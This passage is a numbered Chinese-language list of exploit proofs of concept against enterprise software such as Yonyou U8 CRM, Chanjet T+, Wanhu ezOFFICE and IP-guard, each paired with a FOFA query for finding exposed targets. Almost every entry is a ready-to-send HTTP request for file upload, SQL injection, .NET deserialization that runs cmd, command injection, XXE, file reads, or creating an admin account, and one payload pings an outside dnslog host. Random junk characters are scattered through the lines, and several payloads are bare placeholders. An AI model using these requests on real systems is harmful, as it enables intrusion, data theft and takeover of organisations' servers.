POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
( h* s4 ?1 ~: ]3 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  d3 M4 s; j. |# HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 j8 L- Y2 m9 i  i9 F" `) K0 e1 uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* j8 f, T; A4 OAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
5 `' a( u& R) f9 ?$ v------269520967239406871642430066855
+ Q8 [# _- j* Z4 Y+ _. d- Q: rContent-Disposition: form-data; name="file"; filename="s.php"
" d3 k- e0 Z  k1231
! p$ P: w7 o& J1 Q" H$ l  EContent-Type: application/octet-stream
------269520967239406871642430066855
" E/ c+ J3 o( o& pContent-Disposition: form-data; name="upload"
upload
. x3 z3 ^! p5 d- o------269520967239406871642430066855--
# m! M2 i) y. V! \0 q
- \" ~" m- i# h- p8 ~
' M  U+ w8 x& A8 k  p7 n6 Z; v49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

. u5 n4 f8 N& c% {$ U+ o  z# uPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% {, ^& h9 b% f) ?: B  J2 f8 vAccept-Encoding: gzip, deflate
, j0 x- U) R8 U# T6 v  DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ j* G( `3 r  R; }7 b3 pConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
9 y* D) x; B/ LContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
/ v, J+ p+ e8 G( s3 L. T
2 {$ N) ]7 M8 u! n- Fwersqqmlumloqa
8 D, R  L0 G) ]0 c+ f, k. m-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
. }' ]4 s; f% \( u$ }* j) \4 V
upload
-----------------------------vvv3wdayqv3yppdxvn3w--

6 g* P9 M5 ?! ^" g! t
http://x.x.x.x/tmpfile/updB3CB.tmp.php

( o! \* F3 z- f& l; Y8 M: q50. QDocs Smart School 6.4.1 filterRecords SQL注入
1 }" s3 g; [, z( {5 b: ]; SFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
4 f0 k3 l6 w# u9 P2 oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& f5 P' i. ?6 h4 W% i' D7 GConnection: close
Content-Length: 224
2 Y7 u8 w% R1 x! p* a! TAccept: */*
% h% t% W3 G8 G" f2 @3 gAccept-Language: en
; Q, Q' ^- N& XContent-Type: application/x-www-form-urlencoded
) d( Z" M+ s$ o9 GAccept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

- x# Y9 }" @# D2 S8 }# w
9 B) M9 g' E% x, i4 k51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
6 Q. Q/ D) |+ z2 Z! jGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
& ~$ X) |' z4 V' g% r& QUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
2 {/ Y  y  m3 KAccept-Language: zh-CN,zh;q=0.9
Connection: close
* q6 n" @* w9 p+ z3 K  S

52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
; N5 J$ l3 [9 e- O* m9 m5 [POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
6 D1 V) p9 T- AUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& V! i# l" {4 w2 q1 o  f5 uConnection: close
Content-Length: 87
Accept: */*
Accept-Language: en
& x( e, t4 }: z& E8 NContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
# ^* e5 ?* B" K% c5 h: ~( L
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
" j4 y. B5 H/ n+ c, M
# q' V5 v2 q* H. m9 I& J
53. 迪普 DPTech VPN Service 任意文件上传
  k& V- b% Z* `! u" RFOFA：app="DPtech-SSLVPN"
) l% A8 q/ E4 }8 T% f/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


) ^: y/ y( D: ]' ~54. 畅捷通T+ getstorewarehousebystore 远程代码执行
5 b' W' g* M* i! k3 d8 z$ ZFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
+ K  j8 z* ~; h+ _4 q"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


# ?$ t1 t- L" s# B完整数据包
" w. c/ L" F6 S1 L; r0 a# [POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
! i+ J2 i6 w& Y) r8 b! zContent-Length: 593
/ G! H6 k* ^8 b
{
"storeID":{
; q* I+ c+ D7 @, r$ F' Z& | "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
2 ~: i6 \8 T! U; c, Q7 U "MethodName":"Start",
  "ObjectInstance":{
5 L, ]- c& P9 }9 e0 C   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
7 B0 N& E8 `% S2 d    "StartInfo":{
: {) B) y) d1 {' A/ V4 A1 `   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
: V9 N0 Y5 W7 `! K! p    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
9 X- V6 o9 L, A5 y$ {    }
  }
  }
}


% T( R  Z8 \/ g! M1 C# v4 c4 G第二步，访问如下url
7 ^( l" w; u) n+ Z, D8 a) T/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
4 c: e$ O" V# q" o  J4 S, L' a% C
- U% O* X( Y- o3 ^5 l. f3 U
55. 畅捷通T+ getdecallusers信息泄露
1 N% I6 V6 X: u8 K6 ^% G! YFOFA：app="畅捷通-TPlus"
第一步，通过
7 d( }! O# M3 {; d  I/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
" C  ?' J  f- F; i1 v# Q! c3 A+ ~& t第二步，利用获取到的Cookie请求
6 s6 }/ f- ?  U+ R, a/ `, `/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
: G# o: g" j6 ?) T. T4 ~+ o9 ?# ?, q
. m& ^3 i  a0 z/ F: b/ s, S8 r56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
  D4 z1 T9 m- ?( ?& gPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
3 ~$ r' h; X# [6 S: _- NContent-Type: application/json

{
! g2 o% |% g8 Q6 _( ]  "storeID":{
: c- ]) P9 I1 A0 w! h, N! j- C# C7 o    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
! J' h0 {# J3 ]* ]       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
( ?. h$ N+ j; e0 ?* O8 @       }
    }
  }
}
# T+ J% m2 |5 l$ `7 O% D
; u4 x' n9 A7 n& U% ^. @) Y2 a
+ p/ I" f" w& x& Q57. 畅捷通T+ keyEdit.aspx SQL注入
- e1 r# B% P5 Z( \2 i# P, ~: b) AFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
* g/ w* o+ }; oUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
9 L) D+ n: S, ^& Q; [' y
# V: E/ S9 z/ O+ J& }7 Y% K: C
& [$ V. N3 B5 Q, j0 z- B" v58. 畅捷通T+ KeyInfoList.aspx sql注入
  E; N1 q0 R, n  FFOFA：app="畅捷通-TPlus"
: n8 V4 Z4 W1 y  A# dGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
6 T5 G  i/ Q4 B# b" t9 @1 z3 |Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
  k' f# R3 G  [' d" rAccept-Encoding: gzip, deflate
* ^" `% k9 v1 A6 n- h2 JConnection: close
1 C! x( A7 T- l* F$ q5 \1 L$ k
0 @: Z6 C$ G* W+ ?3 A1 c  Z/ \# P
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
1 i7 U9 U( B: ]) M, CUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
- p" T: _  x2 d3 M! k) ?Content-Length: 1669
6 c3 S' h) X2 F+ ~/ d, fAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
% W+ ?$ L( z1 X3 L; I: g7 KAccept-Encoding: gzip
6 i( M. T$ ]. a/ h- Q7 Q
PAYLOAD

. b" y2 U& s2 @5 {; e) S% ^1 B
60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
& ^% q6 X" n0 dGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
( U6 ]/ T7 a" P$ KHost:
. @3 M$ Y) x% i) {# VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. I6 J, W  Z6 v+ N; WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ i2 t# p2 f. [, E, M. {0 j5 hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; E7 m0 |$ y0 X+ E% f4 I, e' dConnection: close
  p5 \$ c7 A& _( A8 M* b
1 ]6 k/ G0 K- f' T% N: L9 T+ C
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
) E: p4 o9 \7 n. a1 XFOFA: title="欢迎使用浙大恩特客户资源管理系统"
& B5 O+ U( L0 r( M! pPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
/ V: }) E) K& qHost: x.x.x.x
/ J' w0 a9 F$ g5 k1 X& BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 E: ^3 t2 w1 H1 A6 d3 aConnection: close
/ I" C+ G2 ]- q1 @# q% L- y4 c8 NContent-Length: 27
% Y' B( I  O+ O3 u) x& B/ sAccept: */*
" e1 Y% H) W% |2 G0 YAccept-Encoding: gzip, deflate
Accept-Language: en
8 }4 f+ U) \" ]* @! v0 }* ]. AContent-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa

% D% W; r! K) c: @3 z. O" H
62. IP-guard WebServer 远程命令执行
/ e; G, ~7 H! c* X( \FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
# I& K8 ]* [% y4 o. s4 F7 IUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
( E6 v4 l9 }3 z: q# e/ m5 n6 WConnection: close
Accept: */*
Accept-Language: en
+ M4 K/ I4 U% }0 }3 d: J6 o2 V4 IAccept-Encoding: gzip

1 S; d9 X$ {8 [- e1 X: G5 y% \
1 e) `- Y( {( s8 V4 G& _! R& n访问

/ d  i* u9 `- z; Y" H  U! `6 M8 JGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
$ m: i7 X: X! o( z5 h1 w
0 ?+ a/ _8 S; t. p' q3 b
, v; _, @& ~3 B  g5 d9 E- ~3 y63. IP-guard WebServer任意文件读取
$ }9 n2 }2 M, t+ J, O8 xIP-guard < 4.82.0609.0
0 H, t% U- b3 NFOFA：icon_hash="2030860561"
3 K; J; }5 b1 `* e. SPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
4 \5 o7 ]- B3 P" F0 \' O8 L0 OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# ^% _8 i% e0 l$ ~2 W+ jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 [8 R0 ]) H& Z) Q( I2 e7 _. RContent-Type: application/x-www-form-urlencoded
' K0 Y) h$ l! c: y  I. P
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
# T# z/ T; g0 T1 w% o
/ L! w, f9 e- Y7 v2 h" Y) l64. 捷诚管理信息系统CWSFinanceCommon SQL注入
5 u" Q' i, I$ m& bFOFA：body="/Scripts/EnjoyMsg.js"
" ]/ L" e3 E/ z7 ePOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
  @8 R' w1 X) A% s+ \Content-Length: 369
0 A+ e. ?- b' c# ]+ D4 B; p& ^Accept: */*
9 M& M9 `; K2 @/ d. D4 g/ _Accept-Language: en
Content-Type: text/xml; charset=utf-8
% s" d2 T* o3 [8 m" x: uAccept-Encoding: gzip
, I, }  n" i8 ]! b; n* Q
1 F5 C& J, {) I. N5 r<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
& C+ A" v1 X. N  X$ |<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
2 m4 q8 ^+ \8 F: ~4 s4 Y" C      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
7 l9 |/ ]) P3 [& W  k. }* D* i; S</soap:Envelope>

+ j7 I1 h- Z3 j& Z
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
' {4 q/ U6 x  Q" e3 ~FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
( D2 e+ J! H# [+ ]POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
, }1 S6 f. e) c* o; x, lAccept: */*
Connection: close
5 }( U( x9 l# Z' y) |- qAccept-Language: en
- K% i$ a8 e+ o  L, NContent-Length: 174
* V) a. |1 H2 d3 e
6 u2 h% s0 y/ |0 l# qoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
. W" t. J% M3 Y" _& ~FOFA：app="万户ezOFFICE协同管理平台"
* `6 T  Y7 k! M4 ~# S
* Z0 d, P* f% _9 NGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
: A1 Z$ z* E6 [' F: r& m2 o6 YConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

& K; i& S5 G1 i7 C5 T67. 万户ezOFFICE wpsservlet任意文件上传
1 R$ f. ]+ b) J/ V4 uFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
1 C$ X3 K% Z/ j, F6 EContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# A1 ^$ q2 h3 d' N+ A( OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
8 G# x+ f* |! `6 z  s  m- I- ]Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
% o, i( I9 n9 }, c7 C& t( bDNT: 1
6 k' k$ Z9 y+ p' ?Upgrade-Insecure-Requests: 1
& t$ m0 x) I/ I# a+ P7 W: F
0 c/ B! y, F# f! y; J+ N8 Z& l0 j% N: h--ufuadpxathqvxfqnuyuqaozvseiueerp
* `; {8 _/ x3 u# }* @Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
) x* x/ u# I" C2 C+ F( O% p
: c9 }8 d0 p0 u$ n+ ]' `3 N<% out.print("sasdfghjkj");%>
* R5 ~6 {6 p* [3 F--ufuadpxathqvxfqnuyuqaozvseiueerp--


文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
; ~7 b0 w: n4 ]5 C; @$ a0 l
  \* V0 U3 f0 T/ h( v5 X68. 万户ezOFFICE wf_printnum.jsp SQL注入
% K& R+ w: u1 n8 kFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
# x% U3 J8 j9 t/ C+ n1 F7 uHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
1 s" z  |- X' y! s8 t% y0 SAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
! M* R5 R$ B' X5 c5 \3 {$ kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


* P. H  u3 I: A6 U" Y# @$ U  _69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
: A8 W8 }6 F& }: y% L* e# J0 PGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
" m$ l5 N: t" ~8 Y5 W9 sHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
$ y$ E7 W5 X- x$ ?3 [Accept-Encoding: gzip, deflate
Accept: */*
$ q$ P, T+ ~1 sConnection: keep-alive


70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
& N7 z8 h' f* oPOST /member/success.aspx HTTP/1.1
) a9 ~8 E+ K3 m  d$ ?Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
+ y, E1 ^: }  P3 s- pContent-Type: application/x-www-form-urlencoded
TYPE: C
6 V& ]( i6 S! a! L/ PContent-Length: 16702
' s7 [) y3 n! ?1 K
) v* Z. H$ P+ _! a__VIEWSTATE=PAYLOAD


71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
# @& e, N+ m/ i8 P- P/ R* EGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
2 S7 w5 W4 X6 p# X& |; G; u: _- rHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
0 @& c/ J: q7 U  p: [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 v3 T' C- x; w) B& A: k8 jAccept-Encoding: gzip, deflate
) {' [. M, I/ Q! _$ t* E2 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% ]1 t& U$ t1 dUpgrade-Insecure-Requests: 1
# ~& H8 [; ?8 }. o

72. 致远OA getAjaxDataServlet XXE
+ j1 D8 j$ P6 N; ZFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
4 u$ }6 p' U8 s" y- W# j0 A% g5 qHost: 192.168.40.131:8099
9 E0 y- c. @8 O6 |. _9 H% Y9 EUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
8 O' Y% l8 \* Y/ f; eConnection: close
& S0 `7 m7 F5 w) t! D" l$ q8 \. ?2 dContent-Length: 583
9 \0 n5 v% ~% Y4 Z2 ^) iContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
" u2 A8 B- H9 Y( _# }+ z+ h
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


, j! `9 {, ]7 n7 ]( j73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
# r5 S" `6 H; M3 J5 t: p8 IAccept-Encoding: gzip, deflate
) [1 P% S" F; u4 d. I% j0 q' HConnection: close
Content-Type: application/xml
SL-CE-SUID: 3
) c# c( r" Q4 i3 c9 A
  Q1 y/ j6 _- b% c% SPAYLOAD
8 V; T7 A+ e0 n# Y% ]0 B
1 \( n# u& r8 J9 X8 {) Z
9 Y, O0 M; {  o4 l+ v74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD
9 f% _' U* g9 m8 D1 d
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
/ ^0 n$ T/ e. x- F8 N, EFOFA：app="TELESQUARE-TLR-2005KSH"
; m/ h& m4 V3 i, S, PGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( _/ e& S* i, Y% \; g7 NConnection: close
Accept: */*
$ z: o, Q& L9 s1 E+ bAccept-Language: en
8 I; D9 s6 o0 d. l2 Z2 K6 P0 U& zAccept-Encoding: gzip

' r: R6 t4 P6 f/ c: ~9 `) [/ K
GET /cgi-bin/test28256.txt HTTP/1.1
7 r0 R$ L# h. X' YHost: x.x.x.x


: D' z! Z2 M. G* \- X8 J76. 新开普掌上校园服务管理平台service.action远程命令执行
1 W5 v( a0 D$ |2 ?2 A: p4 P1 ~FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
/ q0 m6 J+ |/ C- V: C( P- z+ i+ G/ ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
. e0 p0 I' `6 z& z) _/ w  T  v* RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
5 l# m$ W% N* Z- {" q/ v3 {Upgrade-Insecure-Requests: 1

+ q" e' @) j* A$ y2 ~. j{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
/ G9 {% X! H0 v7 R$ I2 V) q6 a1 w/ u  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
" |+ m! n- A. d* \0 g
! S7 {4 G( s) [) s! z
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
2 q( `& a1 {! xHost: x.x.x.x
0 k' v, U* ?2 U' n' ^9 J  V


6 S- m4 G+ e2 h$ {. J3 z7 j' ^8 b77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
